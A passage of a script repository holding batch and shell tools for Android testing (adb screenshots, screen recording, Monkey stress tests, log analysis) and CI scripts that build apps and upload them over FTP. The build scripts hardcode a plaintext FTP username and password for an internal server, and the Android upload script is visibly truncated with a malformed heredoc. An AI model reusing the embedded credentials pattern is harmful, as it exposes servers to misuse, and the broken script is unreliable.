33 | echo "Completed..."
34 |
35 |
--------------------------------------------------------------------------------
/bat/mobile/adb/screenrecord.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | COLOR 0A
4 |
5 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
6 | ECHO.:: ::
7 | ECHO.:: 手机录屏(安卓4.4及以上) ::
8 | ECHO.:: ::
9 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
10 |
11 | ::**************在此修改目录**************************
12 | SET pcDir=C:\Users\%username%\Pictures
13 | SET phoneDir=/sdcard
14 | ::**************在此修改目录**************************
15 |
16 | :recordstart
17 |
18 | ECHO.[ HELP ] 操作步骤:
19 | ECHO. 1、输入录制时间[回车]
20 | ECHO. 2、按提示开始录制
21 | SET /a SCTIME=10
22 | ECHO.
23 | SET /P SCTIME=[ INFO ] 请输入录制时间(默认10S):
24 |
25 | :MyLoop
26 |
27 | SET CONFIRM=TF
28 |
29 | SET /P CONFIRM=[ INFO ] 确认开始录制?[Enter]
30 |
31 | IF NOT "%CONFIRM%"=="TF" GOTO MyLoop
32 |
33 | ECHO.
34 |
35 | ECHO.[ EXEC ] 开始录制视频(Time: %SCTIME%S)
36 |
37 | adb shell screenrecord --time-limit %SCTIME% %phoneDir%/screenrecord.mp4
38 |
39 | :: 获取得小时,格式为:24小时制,10点前补0
40 | SET c_time_hour=%time:~0,2%
41 | IF /i %c_time_hour% LSS 10 (
42 | SET c_time_hour=0%time:~1,1%
43 | )
44 |
45 | ECHO.[ INFO ] 录制结束
46 | ECHO.
47 | ECHO.[ EXEC ] 拷贝录屏至电脑
48 | adb pull %phoneDir%/screenrecord.mp4 "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.mp4"
49 | ECHO.[ EXEC ] 打开视频保存目录
50 | start %pcDir%
51 | adb shell rm %phoneDir%/screenrecord.mp4
52 | :BATend
53 |
54 | ECHO.
55 |
56 | ECHO.[ INFO ] 暂停3秒自动关闭...
57 |
58 | ping -n 3 127.0.0.1>nul
59 |
--------------------------------------------------------------------------------
/bat/mobile/adb/screenrecord2.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | COLOR 0A
4 |
5 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::::::
6 | ECHO.:: ::
7 | ECHO.:: Mobile video recording (android 4.4 and above) ::
8 | ECHO.:: ::
9 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::::::
10 |
11 | ::**************在此修改目录**************************
12 | SET pcDir=C:\Users\%username%\Pictures
13 | SET phoneDir=/sdcard
14 | ::**************在此修改目录**************************
15 |
16 | :recordstart
17 |
18 | ECHO.[ HELP ] steps :
19 | ECHO. 1 set time [enter]
20 | ECHO. 2 Follow the instructions to start recording
21 | SET /a SCTIME=10
22 | ECHO.
23 | SET /P SCTIME=[ INFO ] please inter record time limit(defaul 10s):
24 |
25 | :MyLoop
26 |
27 | SET CONFIRM=TF
28 |
29 | SET /P CONFIRM=[ INFO ] Confirm to start recording?[Enter]
30 |
31 | IF NOT "%CONFIRM%"=="TF" GOTO MyLoop
32 |
33 | ECHO.
34 |
35 | ECHO.[ EXEC ] Start recording video(Time: %SCTIME%S)
36 |
37 | adb shell screenrecord --time-limit %SCTIME% %phoneDir%/screenrecord.mp4
38 |
39 | :: 获取得小时,格式为:24小时制,10点前补0
40 | SET c_time_hour=%time:~0,2%
41 | IF /i %c_time_hour% LSS 10 (
42 | SET c_time_hour=0%time:~1,1%
43 | )
44 |
45 | ECHO.[ INFO ] End of the recording
46 | ECHO.
47 | ECHO.[ EXEC ] Copy the recording screen to the computer
48 | adb pull %phoneDir%/screenrecord.mp4 "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.mp4"
49 | ECHO.[ EXEC ] Open the video save directory
50 | start %pcDir%
51 | adb shell rm %phoneDir%/screenrecord.mp4
52 | :BATend
53 |
54 | ECHO.
55 |
56 | ECHO.[ INFO ] Pause for 3 seconds and close automatically...
57 |
58 | ping -n 10 127.0.0.1>nul
--------------------------------------------------------------------------------
/bat/mobile/adb/screenshot.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | #截取设备屏幕,将解图保存至当前目录下的screens文件夹
4 |
5 | time=`adb shell date +%F_%H:%M:%S | tr -d "\r"`
6 | adb shell screencap -p data/local/tmp/$time
7 |
8 | dir=screens
9 |
10 | if [ ! -d "$dir" ]
11 | then
12 | mkdir $dir
13 | fi
14 |
15 | adb pull data/local/tmp/$time $dir/${time}".png"
16 |
--------------------------------------------------------------------------------
/bat/mobile/adb/screenshots.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.[快速手机截屏]
4 |
5 | ECHO.-------------------------------
6 |
7 | ECHO.[Exce ] 手机截屏
8 |
9 | SET pcDir=C:\Users\%username%\Pictures
10 |
11 | adb shell screencap -p /sdcard/screen.png
12 |
13 | ECHO.[Tips ] 拷贝截屏图片至电脑
14 |
15 | adb pull /sdcard/screen.png "C:\Users\jayzhen\Desktop\screen.png"
16 |
17 | ren "C:\Users\jayzhen\Desktop\screen.png" "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.png"
18 |
19 | adb shell rm /sdcard/screen.png
20 |
21 | ECHO [暂停2秒自动关闭...]
22 |
23 | ping -n 2 127.0.0.1>nul
24 |
25 | @ECHO ON
--------------------------------------------------------------------------------
/bat/mobile/adb/screenshots.cmd:
--------------------------------------------------------------------------------
1 | @adb shell /system/bin/screencap -p /sdcard/screenshot.png
2 | @adb pull /sdcard/screenshot.png C:/Users/dell/Desktop/%DATE:~0,4%年%DATE:~5,2%月%DATE:~8,2%日%TIME:~0,2%时%TIME:~3,2%分%TIME:~6,2%秒.png
--------------------------------------------------------------------------------
/bat/mobile/adb/screenshots2.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.[Quick cell phone screenshots]
4 |
5 | ECHO.-------------------------------
6 |
7 | ECHO.[Exce ] Mobile phone screen
8 |
9 | SET pcDir=C:\Users\%username%\Pictures\img
10 |
11 | adb shell screencap -p /sdcard/screen.png
12 |
13 | ECHO.[Tips ] Copy the screenshot to your computer
14 |
15 | adb pull /sdcard/screen.png "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.png"
16 |
17 | ren "C:\Users\jayzhen\Desktop\screen.png" "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.png"
18 |
19 | adb shell rm /sdcard/screen.png
20 |
21 | ECHO [Pause for 3 seconds and close automatically...]
22 |
23 | ping -n 2 127.0.0.1>nul
24 |
25 | @ECHO ON
--------------------------------------------------------------------------------
/bat/mobile/adb/sr.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | COLOR 0A
4 |
5 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
6 | ECHO.:: ::
7 | ECHO.:: 手机录屏(安卓4.4及以上) ::
8 | ECHO.:: ::
9 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
10 |
11 | ::**************在此修改目录**************************
12 | SET pcDir=C:\Users\%username%\Pictures
13 | SET phoneDir=/sdcard
14 | ::**************在此修改目录**************************
15 |
16 | :recordstart
17 |
18 | ECHO.[ HELP ] 操作步骤:
19 | ECHO. 1、输入录制时间[回车]
20 | ECHO. 2、按提示开始录制
21 | SET /a SCTIME=10
22 | ECHO.
23 | SET /P SCTIME=[ INFO ] 请输入录制时间(默认10S):
24 |
25 | :MyLoop
26 |
27 | SET CONFIRM=TF
28 |
29 | SET /P CONFIRM=[ INFO ] 确认开始录制?[Enter]
30 |
31 | IF NOT "%CONFIRM%"=="TF" GOTO MyLoop
32 |
33 | ECHO.
34 |
35 | ECHO.[ EXEC ] 开始录制视频(Time: %SCTIME%S)
36 |
37 | adb shell screenrecord --time-limit %SCTIME% %phoneDir%/screenrecord.mp4
38 |
39 | :: 获取得小时,格式为:24小时制,10点前补0
40 | SET c_time_hour=%time:~0,2%
41 | IF /i %c_time_hour% LSS 10 (
42 | SET c_time_hour=0%time:~1,1%
43 | )
44 |
45 | ECHO.[ INFO ] 录制结束
46 | ECHO.
47 | ECHO.[ EXEC ] 拷贝录屏至电脑
48 | adb pull %phoneDir%/screenrecord.mp4 "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.mp4"
49 | ECHO.[ EXEC ] 打开视频保存目录
50 | start %pcDir%
51 | adb shell rm %phoneDir%/screenrecord.mp4
52 | :BATend
53 |
54 | ECHO.
55 |
56 | ECHO.[ INFO ] 暂停3秒自动关闭...
57 |
58 | ping -n 3 127.0.0.1>nul
59 |
--------------------------------------------------------------------------------
/bat/mobile/build/build_android_apk.sh:
--------------------------------------------------------------------------------
1 | echo "------------------------------------upload apk------------------------------------"
2 |
3 | #cd $WORKSPACE
4 | #cd HZXTM\build\outputs\apk
5 |
6 | local_dir=${WORKSPACE}/HZXTM/build/outputs/apk
7 | #gradle 4.0 以上的版本,apk文件路径有改动,打开下面这一行
8 | #local_dir=${WORKSPACE}/HZXTM/build/outputs/apk/${PRODUCT_FLAVORS}/${BUILD_TYPE}
9 |
10 | ftp_dir=${WORKSPACE}/HZXTM/build/outputs
11 | ls $local_dir
12 | remote_dir=/x-app/android
13 | SERVER_IP=192.168.18.85
14 | USER=ota
15 | PASSWARD=ota
16 |
17 | #ftp -inv << END > $ftp_dir/ftp.error
18 | #ftp -n< $ftp_dir/ftp.error
33 | user $USER $PASSWARD
34 | binary
35 | hash
36 | cd $remote_dir
37 | lcd $local_dir
38 | prompt
39 | mput *
40 | close
41 | bye
42 | END
--------------------------------------------------------------------------------
/bat/mobile/build/build_ios_ipa.sh:
--------------------------------------------------------------------------------
1 | whoami
2 | #设置输出路径
3 | output=$WORKSPACE/../ios_zzFinance
4 | cd $output
5 | rm -rf output
6 | mkdir output
7 | out=$output/output
8 |
9 | cd $WORKSPACE
10 |
11 | #工程名
12 | projectName="HouniaoP2P"
13 |
14 | #scheme名
15 | buildScheme="HouniaoP2P"
16 |
17 | #Info.plist文件路径
18 | project_infoplist_path="./platforms/ios/${projectName}/${projectName}-Info.plist"
19 |
20 | #取版本号:1.0.0
21 | bundleShortVersion=$(/usr/libexec/PlistBuddy -c "print CFBundleShortVersionString" "${project_infoplist_path}")
22 | bundleShortVersion=${bundleShortVersion//./-}
23 | #设置日期格式:20161216161616
24 | DATE="$(date +%Y%m%d%H%M%S)"
25 |
26 | echo "======================begin build ipa====================="
27 |
28 | #拼接ipa文件名:HouniaoP2P_master_V1-0-0_20161216161616_Normal.ipa
29 | IPANAME="${buildScheme}_${branch}_V${bundleShortVersion}_${DATE}_${configuration}.ipa"
30 | dSYMANAME="${buildScheme}_${branch}_V${bundleShortVersion}_${DATE}_${configuration}"
31 |
32 | #切换打包方式
33 | flag="0"
34 | if [ "${flag}"x = "0"x ]; then
35 |
36 | #文件构建目录
37 | iPhoneOS="./${configuration}-iphoneos"
38 | rm -rf ${iPhoneOS}
39 |
40 | #集成有Cocopods的用法
41 | xcodebuild -workspace ./platforms/ios/${projectName}.xcworkspace -scheme ${buildScheme} -configuration ${configuration} clean build SYMROOT='$(PWD)'
42 | #生成ipa文件
43 | xcrun -sdk iphoneos PackageApplication ${iPhoneOS}/${projectName}.app -o $out/${IPANAME}
44 |
45 | cd ${iPhoneOS}
46 | zip -r dSYM.zip ${projectName}.app.dSYM
47 | cp dSYM.zip ${out}
48 | else
49 | archiveName="${projectName}.xcarchive"
50 | archivePath="$out/${archiveName}"
51 | xcodebuild clean -configuration ${configuration} -alltargets
52 | xcodebuild archive -workspace ./platforms/ios/${projectName}.xcworkspace -scheme ${buildScheme} -configuration ${configuration} -archivePath ${archivePath}
53 | xcodebuild -exportArchive -archivePath ${archivePath} -exportPath $out/${IPANAME}
54 |
55 | cd ${out}
56 | zip -r dSYM.zip ${archiveName}
57 | fi
58 |
59 | echo "======================end build ipa====================="
60 |
61 |
62 | dir_out=$output
63 |
64 | # 新项目需要重新定义目录路径,然后在ota项目中添加对应的配置
65 | ftp_dir="/finance-app/ios"
66 | echo "======================upload====================="
67 | ## 调整输出路径
68 | function adjust_outdir
69 | {
70 | mkdir -p $dir_out
71 | cp_status=$?
72 | if [ ${cp_status} -ne 0 ];then
73 | echo "file directory adjust failed"
74 | else
75 | echo "file directory adjust success"
76 | fi
77 | return ${cp_status}
78 | }
79 |
80 | ## 目录递归
81 | function mkdir_recursive
82 | {
83 | if [ -z $1 -o $1 = "/" ]; then
84 | return
85 | fi
86 |
87 | parent_dir=`dirname $1`
88 | mkdir_recursive $parent_dir
89 |
90 | if [ ! -d $1 ]; then
91 | echo "mkdir $1"
92 | fi
93 | }
94 |
95 | ## 上传ftp工具
96 | function real_upload_ftp
97 | {
98 | SERVER_IP=$1
99 | USER=$2
100 | PASSWARD=$3
101 | UPLOAD_DIR=$4
102 | VERSION=$5
103 | LOCAL_DIR=$6
104 | REMOTE_DIR=$UPLOAD_DIR/$VERSION
105 | REMOTE_OUTDIR=$REMOTE_DIR/output
106 | WAR_PROJ=$LOCAL_DIR/output/$7
107 | WAR_SYM=$LOCAL_DIR/output/dSYM.zip
108 | CONF_DIR=$LOCAL_DIR/conf
109 |
110 | updir=$6/output
111 | todir=$REMOTE_OUTDIR
112 |
113 | mkdir_base_ftp=`mkdir_recursive $UPLOAD_DIR`
114 | /Users/admin/otaTemp/ftp -inv << END > $LOCAL_DIR/ftp.base.mkdir.error
115 | open $SERVER_IP
116 | user $USER $PASSWARD
117 | type binary
118 | prompt
119 | $mkdir_base_ftp
120 | close
121 | bye
122 | END
123 |
124 | #sss=`find -f $updir | awk '{if ($0 == "")next;print "mkdir " $0}'`
125 | #aaa=`find -f $updir 'put %p %P \n'`
126 | #sss=`mkdir_recursive output`
127 |
128 | echo $REMOTE_DIR
129 | echo $REMOTE_OUTDIR
130 | echo ${updir}
131 | echo ${todir}
132 |
133 | /Users/admin/otaTemp/ftp -inv << END > $LOCAL_DIR/ftp.error
134 | open $SERVER_IP
135 | user $USER $PASSWARD
136 | type binary
137 | prompt
138 | mkdir $REMOTE_DIR
139 | cd $REMOTE_DIR
140 | put $WAR_PROJ $7
141 | put $WAR_SYM ${dSYMANAME}-dSYM.zip
142 | close
143 | bye
144 | END
145 |
146 | connect_ftp_code=220
147 | login_success_code=230
148 | directory_fail_code=550
149 | createfile_fail_code=553
150 |
151 | #sed -i "s/${connect_ftp_code} bytes/221 bytes/g" ${LOCAL_DIR}/ftp.error
152 | #sed -i "s/${login_success_code} bytes/231 bytes/g" ${LOCAL_DIR}/ftp.error
153 | #sed -i "s/${directory_fail_code} bytes/551 bytes/g" ${LOCAL_DIR}/ftp.error
154 | #sed -i "s/${createfile_fail_code} bytes/554 bytes/g" ${LOCAL_DIR}/ftp.error
155 |
156 | exit 0
157 | }
158 |
159 | ## 上传ftp
160 | #FTP_SH=/home/work/shell/ftp_jenkins.sh
161 | function upload_ftp
162 | {
163 | snapshot=${IPANAME%.*}
164 | echo $snapshot
165 |
166 | #chmod +x $FTP_SH
167 | real_upload_ftp 192.168.18.85 ota ota $ftp_dir $snapshot $output $IPANAME
168 | upload_status=$?
169 | if [ ${upload_status} -eq 0 ];then
170 | echo "[INFO] : files upload by ftp success"
171 | else
172 | echo "ERROR : files upload by ftp fail"
173 | fi
174 | return ${upload_status}
175 | }
176 |
177 | echo '==> start adjust_outdir'
178 | adjust_outdir
179 | adjust_outdir_status=$?
180 | if [ ${adjust_outdir_status} -ne 0 ];then
181 | echo 'ERROR : adjust_outdir fail'
182 | exit ${adjust_outdir_status}
183 | fi
184 | echo '==> end adjust_outdir'
185 |
186 |
187 | echo '==> start upload_ftp'
188 | upload_ftp
189 | upload_ftp_status=$?
190 | if [ ${upload_ftp_status} -ne 0 ];then
191 | echo 'ERROR : upload_ftp fail'
192 | exit ${upload_ftp_status}
193 | fi
194 | echo '==> end upload_ftp'
195 | echo '[INFO] PreScript Execute SUCCESS, congratulation!'
196 | exit 0
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_analysis/Monkey.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 |
5 | ECHO.:: Monkey测试 ::
6 |
7 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
8 |
9 | IF NOT EXIST %~dp0\config.conf GOTO EXIT
10 |
11 | ECHO.[ INFO ] 准备Monkey测试
12 |
13 | ECHO.[ INFO ] 读取config.conf中信息
14 |
15 |
16 |
17 | REM 从配置文件中获得包名
18 |
19 | FOR /F "tokens=1,2 delims==" %%a in (config.conf) do (
20 |
21 | IF %%a == packageName SET packageName=%%b
22 |
23 | IF %%a == appEnName SET appEnName=%%b
24 |
25 | IF %%a == appversion SET appversion=%%b
26 |
27 | )
28 |
29 |
30 |
31 | REM 获取日期,格式为:20140808
32 |
33 | SET c_date=%date:~0,4%%date:~5,2%%date:~8,2%
34 |
35 | REM 获取得小时,格式为:24小时制,10点前补0
36 |
37 | SET c_time=%time:~0,2%
38 |
39 | IF /i %c_time% LSS 10 (
40 |
41 | SET c_time=0%time:~1,1%
42 |
43 | )
44 |
45 | REM 组合小时、分、秒,格式为: 131420
46 |
47 | SET c_time=%c_time%%time:~3,2%%time:~6,2%
48 |
49 | REM 将当运行时间点做为日志文件名
50 |
51 | SET logfilename=%c_date%%c_time%
52 |
53 |
54 |
55 |
56 |
57 | REM 创建当天日期目录及测试APP日志保存目录
58 |
59 | IF NOT EXIST %~dp0\%c_date% md %~dp0\%c_date%
60 |
61 | SET logdir="%~dp0\%c_date%\%appEnName%%appversion%"
62 |
63 | IF NOT EXIST %logdir% (
64 |
65 | ECHO.[ Exec ] 创建目录:%c_date%\%appEnName%%appversion%
66 |
67 | md %logdir%
68 |
69 | )
70 |
71 |
72 |
73 |
74 |
75 | REM 获得手机信息,显示并保存
76 |
77 | adb shell cat /system/build.prop>phone.info
78 |
79 | FOR /F "tokens=1,2 delims==" %%a in (phone.info) do (
80 |
81 | IF %%a == ro.build.version.release SET androidOS=%%b
82 |
83 | IF %%a == ro.product.model SET model=%%b
84 |
85 | IF %%a == ro.product.brand SET brand=%%b
86 |
87 | )
88 |
89 | del /a/f/q phone.info
90 |
91 | ECHO.[ INFO ] 读取Phone信息
92 |
93 | ECHO. 手机品牌: %brand%
94 |
95 | ECHO. 手机型号: %model%
96 |
97 | ECHO. 系统版本: Android %androidOS%
98 |
99 | ECHO.Phone信息>"%logdir%\%logfilename%_%model%.txt"
100 |
101 | ECHO.手机品牌: %brand%>>"%logdir%\%logfilename%_%model%.txt"
102 |
103 | ECHO.手机型号: %model%>>"%logdir%\%logfilename%_%model%.txt"
104 |
105 | ECHO.系统版本: Android %androidOS%>>"%logdir%\%logfilename%_%model%.txt"
106 |
107 |
108 |
109 | ECHO.
110 |
111 | ECHO.[ Exec ] 使用Logcat清空Phone中log
112 |
113 | adb logcat -c
114 |
115 | REM ECHO.[ INFO ] 暂停2秒...
116 |
117 | ping -n 2 127.0.0.1>nul
118 |
119 | ECHO.
120 |
121 | ECHO.[ INFO ] 开始执行Monkey命令
122 |
123 | REM ECHO.[ INFO ] 强制关闭准备测试的APP
124 |
125 | adb shell am force-stop %packageName%
126 |
127 |
128 |
129 | :::::::::::::::::Monkey测试命令::::::::::::::::::::::::
130 |
131 | ::::::::::::修改策略请仅在此区域内修改:::::::::::::::::
132 |
133 | ECHO.[ Exec ] adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000
134 |
135 |
136 |
137 | adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000>%logdir%\%logfilename%_monkey.log
138 |
139 |
140 |
141 | ::::::::::::修改策略请仅在此区域内修改:::::::::::::::::
142 |
143 | ::::::::::::::::::::::END::::::::::::::::::::::::::::::
144 |
145 | ECHO.[ INFO ] 执行Monkey命令结束
146 |
147 | ECHO.
148 |
149 |
150 |
151 | ECHO.[ Exce ] 手机截屏
152 |
153 | adb shell screencap -p /sdcard/monkey_run_end.png
154 |
155 | ECHO.[ INFO ] 拷贝截屏图片至电脑
156 |
157 | adb pull /sdcard/monkey_run_end.png %logdir%
158 |
159 | cd %logdir%
160 |
161 | ren monkey_run_end.png %logfilename%.png
162 |
163 |
164 |
165 | ECHO.
166 |
167 | ECHO.[ Exec ] 使用Logcat导出日志
168 |
169 | adb logcat -d >%logdir%\%logfilename%_logcat.log
170 |
171 |
172 |
173 | REM ECHO.
174 |
175 | REM ECHO.[ Exec ] 导出traces文件
176 |
177 | REM adb shell cat /data/anr/traces.txt>%logfilename%_traces.log
178 |
179 |
180 |
181 |
182 |
183 | REM 待扩展,上传日志至服务器
184 |
185 |
186 |
187 | :EXIT
188 |
189 | ECHO.
190 |
191 | ECHO.[ INFO ] 请按任意键关闭窗口...
192 | PAUSE>nul
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_analysis/config.conf:
--------------------------------------------------------------------------------
1 | [appinfo]
2 | appCnName=guexplorer
3 | appEnName=guexplorer
4 | appversion=V4.2.3.1104
5 | packageName=gu.mobile.explorer
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_analysis/monkey_cmd.cmd:
--------------------------------------------------------------------------------
1 | :loop
2 |
3 | adb2 shell monkey -p gu.mobile.explorer --monitor-native-crashes --pct-touch 80 --pct-motion 15 --pct-nav 5 -s %random% -v --throttle 200 320000 >common\%random%.log
4 |
5 | @ping -n 15 127.1 >nul
6 |
7 | adb2 reboot
8 |
9 | @ping -n 120 127.1 >nul
10 |
11 | @goto loop
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_analysis/monkey_log_analysis.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 |
5 | ECHO.:: 分析Monkey日志 ::
6 |
7 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
8 |
9 | REM 方法一:手动设置Monkey日志路径
10 |
11 | SET monkeyLogFile=F:\Monkey\1.0.0\20140825181801_monkey.log
12 |
13 |
14 |
15 | REM 方法二:直接将Monkey日志拖到此bat文件上
16 |
17 | IF NOT "%1"=="" SET monkeyLogFile=%1
18 |
19 |
20 |
21 | ECHO.[ INFO ] Monkey日志: %monkeyLogFile%
22 |
23 | ECHO.[ INFO ] 开始分析
24 |
25 | SET blnException=0
26 |
27 | ECHO.
28 |
29 | ECHO.
30 |
31 | REM 如果觉得分析太快,没有感觉,把下面注释去掉假装分析中,有停顿感
32 |
33 | REM ping -n 2 127.0.0.1>nul
34 |
35 |
36 |
37 | ::ANR日志
38 |
39 | FOR /F "delims=" %%a IN ('FINDSTR /C:"ANR" %monkeyLogFile%') DO (
40 |
41 | SET strANR=%%a
42 |
43 | )
44 |
45 |
46 |
47 | ::崩溃日志
48 |
49 | FOR /F "delims=" %%a IN ('FINDSTR /C:"CRASH" %monkeyLogFile%') DO (
50 |
51 | SET strCRASH=%%a
52 |
53 | )
54 |
55 |
56 |
57 | ::异常日志
58 |
59 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Exception" %monkeyLogFile%') DO (
60 |
61 | SET strException=%%a
62 |
63 | )
64 |
65 |
66 |
67 | ::正常
68 |
69 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Monkey finished" %monkeyLogFile%') DO (
70 |
71 | SET strFinished=%%a
72 |
73 | )
74 |
75 |
76 |
77 | IF NOT "%strANR%" == "" (
78 |
79 | ECHO.[ INFO ] 分析Monkey日志存在: ANR
80 |
81 | ECHO.[ INFO ] ------------------------------------
82 |
83 | ECHO. "%strANR%"
84 |
85 | SET /a blnException+=1
86 |
87 | ECHO.
88 |
89 | )
90 |
91 |
92 |
93 | IF NOT "%strCRASH%" == "" (
94 |
95 | ECHO.[ INFO ] 分析Monkey日志存在: CRASH
96 |
97 | ECHO.[ INFO ] ------------------------------------
98 |
99 | ECHO. "%strCRASH%"
100 |
101 | SET /a blnException+=1
102 |
103 | ECHO.
104 |
105 | )
106 |
107 |
108 |
109 | IF NOT "%strException%" == "" (
110 |
111 | ECHO.[ INFO ] 分析Monkey日志存在: 异常
112 |
113 | ECHO.[ INFO ] ------------------------------------
114 |
115 | ECHO. "%strException%"
116 |
117 | SET /a blnException+=1
118 |
119 | )
120 |
121 |
122 |
123 | IF NOT "%strFinished%" == "" (
124 |
125 | ECHO.[ INFO ] 分析Monkey日志存在: 执行成功标记
126 |
127 | ECHO.[ INFO ] ------------------------------------
128 |
129 | ECHO. "%strFinished%"
130 |
131 | ECHO.
132 |
133 | ) ELSE (
134 |
135 | IF %blnException% EQU 0 ECHO.[ INFO ] 分析Monkey日志结果: Monkey执行异常中断,请重新执行Monkey脚本!
136 |
137 | ECHO.
138 |
139 | )
140 |
141 |
142 |
143 | REM 如果blnException不为0,说明存在异常,改变字体为淡紫色
144 |
145 | IF %blnException% NEQ 0 (
146 |
147 | Color 0D
148 |
149 | ECHO.[ INFO ] 分析Monkey日志结果:存在异常日志,请手工再仔细检查!
150 |
151 | ECHO.
152 |
153 | ) ELSE (
154 |
155 | ECHO.[ INFO ] 分析Monkey日志结果:正常
156 |
157 | ECHO.
158 |
159 | )
160 |
161 | ECHO.
162 |
163 | ECHO.[ EXIT ] 按任意键关闭窗口...
164 |
165 | PAUSE>nul
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_no_env/AdbWinApi.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile/monkey/monkey_no_env/AdbWinApi.dll
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_no_env/Common.cmd:
--------------------------------------------------------------------------------
1 | :loop
2 |
3 | adb shell monkey -p com.yykk.phone --monitor-native-crashes --pct-touch 65 --pct-motion 15 --pct-nav 5 --pct-anyevent 5 --pct-appswitch 10 -s %random% -v -v --throttle 500 5880000 >log\%random%_log.log
4 |
5 | @ping -n 15 127.1 >nul
6 |
7 | adb reboot
8 |
9 | @ping -n 120 127.1 >nul
10 |
11 | @goto loop
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_no_env/adb2.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile/monkey/monkey_no_env/adb2.exe
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_no_env/kill_monkey_pid.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 | for /f "tokens=2" %%i in ('adb shell ps^| findstr "monkey"') do (
3 | set YK_PID=%%i
4 | echo
5 | )
6 | echo found com.yykk.phone PID is %YK_PID%
7 |
8 | IF NOT "%YK_PID%" == "" (
9 | echo 准备kill掉monkey的进程
10 | adb shell kill %YK_PID%
11 | )
12 |
13 | ping 127.0.0.1 -n 3 >nul
14 | echo on
15 |
--------------------------------------------------------------------------------
/bat/mobile/monkey/monkey_no_env/log_analysis.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
4 |
5 | ECHO.:: 分析logcat日志 ::
6 |
7 | ECHO.:::::::::::::::::::::::::::::::::::::::::::::::::
8 |
9 | REM 方法一:手动设置Monkey日志路径
10 |
11 | SET monkeyLogFile=F:\Monkey\V1.0.0\20140825181801_monkey.log
12 |
13 |
14 |
15 | REM 方法二:直接将Monkey日志拖到此bat文件上
16 |
17 | IF NOT "%1"=="" SET monkeyLogFile=%1
18 |
19 |
20 |
21 | ECHO.[ INFO ] logcat日志: %monkeyLogFile%
22 |
23 | ECHO.[ INFO ] 开始分析
24 |
25 | SET blnException=0
26 |
27 | ECHO.
28 |
29 | ECHO.
30 |
31 | REM 如果觉得分析太快,没有感觉,把下面注释去掉假装分析中,有停顿感
32 |
33 | REM ping -n 2 127.0.0.1>nul
34 |
35 |
36 |
37 | ::ANR日志
38 |
39 | FOR /F "delims=" %%a IN ('FINDSTR /C:"ANR" %monkeyLogFile%') DO (
40 |
41 | SET strANR=%%a
42 |
43 | )
44 |
45 |
46 |
47 | ::崩溃日志
48 |
49 | FOR /F "delims=" %%a IN ('FINDSTR /C:"CRASH" %monkeyLogFile%') DO (
50 |
51 | SET strCRASH=%%a
52 |
53 | )
54 |
55 |
56 |
57 | ::异常日志
58 |
59 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Exception" %monkeyLogFile%') DO (
60 |
61 | SET strException=%%a
62 |
63 | )
64 |
65 |
66 |
67 | ::正常
68 |
69 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Monkey finished" %monkeyLogFile%') DO (
70 |
71 | SET strFinished=%%a
72 |
73 | )
74 |
75 |
76 |
77 | IF NOT "%strANR%" == "" (
78 |
79 | ECHO.[ INFO ] 分析Monkey日志存在: ANR
80 |
81 | ECHO.[ INFO ] ------------------------------------
82 |
83 | ECHO. "%strANR%"
84 |
85 | SET /a blnException+=1
86 |
87 | ECHO.
88 |
89 | )
90 |
91 |
92 |
93 | IF NOT "%strCRASH%" == "" (
94 |
95 | ECHO.[ INFO ] 分析Monkey日志存在: CRASH
96 |
97 | ECHO.[ INFO ] ------------------------------------
98 |
99 | ECHO. "%strCRASH%"
100 |
101 | SET /a blnException+=1
102 |
103 | ECHO.
104 |
105 | )
106 |
107 |
108 |
109 | IF NOT "%strException%" == "" (
110 |
